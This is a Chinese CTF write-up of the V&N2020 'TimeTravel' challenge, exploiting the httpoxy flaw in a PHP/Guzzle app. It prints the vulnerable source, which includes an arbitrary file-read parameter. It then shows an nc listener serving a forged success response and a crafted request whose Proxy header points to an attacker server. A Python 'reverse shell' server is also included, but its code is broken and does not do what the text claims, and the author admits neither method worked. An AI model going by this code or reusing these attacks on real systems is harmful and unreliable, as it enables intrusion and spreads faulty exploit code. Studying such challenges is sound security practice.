[V&N2020 公开赛]TimeTravel

 <?php
error_reporting(0);
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Client;

highlight_file(__FILE__);

if(isset($_GET['flag'])) {
    $client = new Client();
    $response = $client->get('http://127.0.0.1:5000/api/eligible');
    $content = $response->getBody();
    $data = json_decode($content, TRUE);
    if($data['success'] === true) {
      echo system('/readflag');
    }
}

if(isset($_GET['file'])) {
    highlight_file($_GET['file']);
}

if(isset($_GET['phpinfo'])) {
    phpinfo();
}

代码的主要含义就是:

1.传入一个flag,就会去请求HTTP-api服务,假如该服务器返回success的话,就会执行程序读取flag,传file进入的话就会去读取这个文件,如果是pipinfo,则执行phpinfo

起初也没发现怎么做,后来复现的时候才知道是考的CGI特性,了来源是VULHUB的一道题

首先随意看看phpinfo,貌似没有什么

赵师傅的博客里写了:

然后才知道

在大佬的提示下:此处是use GuzzleHttp\Client,Guzzle 使用的是 RFC 3875 (CGI)

图片

因此考点就是httppoxy这个东西

那么是怎么利用的嘛:

是因为其的代码以cgi模式运行,那么cgi模式是啥?

CGI是common gateway interface的缩写,大家都译作通用网关接口,但很不幸,我们无法见名知意。

总所周知,web服务器所处理的任务都是静态的,假如其要想处理动态的任务,则需要web应用程序的帮助,比如PHP,jsp,python,perl等

为了将web服务器的动态请求传递给这些应用程序,依靠cgi协议。

简单的cgi工作方式:

图片

有多种方式可以执行cgi程序,但对http的请求方法来说,只有get和post两种方法允许执行cgi脚本(即上面的search程序)。实际上post方法的内部本质还是get方法,只不过在发送http请求时,get和post方法对url中的参数处理方式不一样而已。

更多关于CGI详细的解释:链接

然后关于cgi'还有好多东西,后面再整理一篇博客(我又挖坑给自己跳了)

总而言之就是这个规则会将header中的proxy参数设置冲环境变量HTTP_PROXY

以下是影响范围:

所以跟之前的那道题一样,要在监听端口,于是开一台内网服务器
以上来自dalao博客: https://www.cnblogs.com/JeffKing11/p/12430571.html


我大概了解了两种解题方法。

第一种

使用下面的exp:

建一个b.txt文件

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 06 Mar 2020 18:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16
​
{"success":true}

然后传到服务器上(也可以在服务器上直接vim,但是我的xshell好像有问题)

然后运行监听端口

nc -lvp 8888 < b.txt

然后bp发包如下(重点是最后一句):

GET /?flag=123 HTTP/1.1
Host:xxxxxxxxnode3.buuoj.cn:27571
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Proxy: http://174.0.236.30:8888

第二种

利用自写tcp服务来反弹shell.
还有一种解法是写一个tcp服务在我们的服务器上,然后修改头部信息Proxy:http://174.0.213.118:8888然后在这个服务器上反弹shell

#coding:utf-8
import time, socket, threading
def tcplink(sock, addr):
    while True:
        data = sock.recv(1024)
        time.sleep(1)
        if data == 'exit' or not data:
            break
        sock.send({'success':true} % data)
    sock.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8080))
s.listen(5)
print 'Waiting for connection...'
while True:
    sock, addr = s.accept()
    t = threading.Thread(target=tcplink, args=(sock, addr))
    t.start()

但这两种方法我都没有复现成功,一直nc不上。以后有机会还是会复现一下。

推荐文章